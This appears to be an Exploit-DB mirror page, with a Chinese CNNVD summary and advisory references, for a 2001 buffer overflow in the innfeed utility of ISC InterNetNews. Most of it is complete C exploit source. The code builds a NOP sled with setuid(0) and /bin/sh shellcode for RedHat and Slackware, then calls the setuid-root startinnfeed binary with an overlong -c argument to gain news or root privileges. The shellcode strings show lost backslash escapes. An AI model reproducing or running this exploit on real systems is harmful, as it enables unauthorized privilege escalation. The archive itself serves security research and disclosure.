https://www.exploit-db.com/exploits/20777
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200104-017

ISCInterNetNews(INN)2.3.0之前版本中的innfeed存在缓冲区溢出漏洞。”news”组中的本地用户可以借助超长-c命令行参数提升权限。

source: http://www.securityfocus.com/bid/2620/info

The innfeed utility, part of ISC InterNetNews, has an exploitable buffer overflow in its command-line parser. Specifically, innfeed will overflow if an overly long -c option is passed to it.

A local attacker in the news group could use this overflow to execute arbitary code with an effective userid of news, which could constitute an elevation in privileges, and the ability to alter news-owned binaries that could be run by root.

Exploits are available against x86 Linux builds of innfeed. 

/*
  x-innfeed.c

  Buffer overflow in innfeed being called from startinnfeed renders
uid(news) gid(news), startinnfeed is suid root so I have to also check
if I can manage to get root out of this ....

  Enrique A. Sanchez Montellano
  (@defcom.com ... Yes is only @defcom.com)
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET  0
#define ALIGN   0
#define BUFFER  470

// MANDRAKE, REDHAT, etc....

#ifdef REDHAT
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
//static char shellcode[]=
//"xebx15x5bx89x5bx08x31xc0x88x43x07x89x43x0cxb0x0bx8dx4bx08x31xd2xcdx80xe8xe6xffxffxff/bin/sh";
char shellcode[] = "x31xdbx89xd8xb0x17xcdx80" /*setuid(0) */
             "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0c"
             "xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb"
             "x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";

#endif

#ifdef SLACKWARE
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"xebx15x5bx89x5bx0bx31xc0x88x43x0ax89x43x0fxb0x0bx8dx4bx0bx31xd2xcdx80xe8xe6xffxffxff/bin/bash1";
#endif

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}

void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>n", name);
  printf("Defcom Labs @ Spain ...n");
  printf("Enrique A. Sanchez Montellano (@defcom.com)n");
  exit(0);
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
  int i;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffer = atoi(argv[3]);

  code = (char *)malloc(buffer);

  printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]n");
  printf("------------------------------------------------------------n");
  printf("[ + ] Found by: nn[ + ] Alex Hernandez
([email protected]) n[ + ] Enrique Sanchez (@defcom.com ... Yes
is just @defcom.com)n");
  printf("[ + ] Defcom Labs @ Spain ....n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)nn");

  addr = get_sp() - offset;

  printf("[ + ] Using address 0x%xn", addr);

  for(i = 0; i <= buffer; i += 4) {
   *(long *)&code[i] = 0x90909090;
  }

  *(long *)&code[buffer - 4] = addr;
  *(long *)&code[buffer - 8] = addr;

  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode,
strlen(shellcode));

  printf("[ + ] Starting exploitation ... nn");

  // REDHAT, MANDRAKE ...
#ifdef REDHAT
  execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
#endif

  // SLACKWARE
#ifdef SLACKWARE
  execl("/usr/lib/news/bin/startinnfeed",
"/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
#endif

  return 0;
}

来源:US-CERTVulnerabilityNote:VU#943536
名称:VU#943536
链接:http://www.kb.cert.org/vuls/id/943536
来源:BID
名称:2620
链接:http://www.securityfocus.com/bid/2620
来源:BUGTRAQ
名称:20010418Re:InnfeedBufferOverflow
链接:http://www.securityfocus.com/archive/1/178011
来源:XF
名称:innfeed-c-bo(6398)
链接:http://xforce.iss.net/xforce/xfdb/6398
来源:SECTRACK
名称:1001353
链接:http://securitytracker.com/id?1001353
来源:BUGTRAQ
名称:20010418InnfeedBufferOverflow
链接:http://archives.neohapsis.com/archives/bugtraq/2001-04/0311.html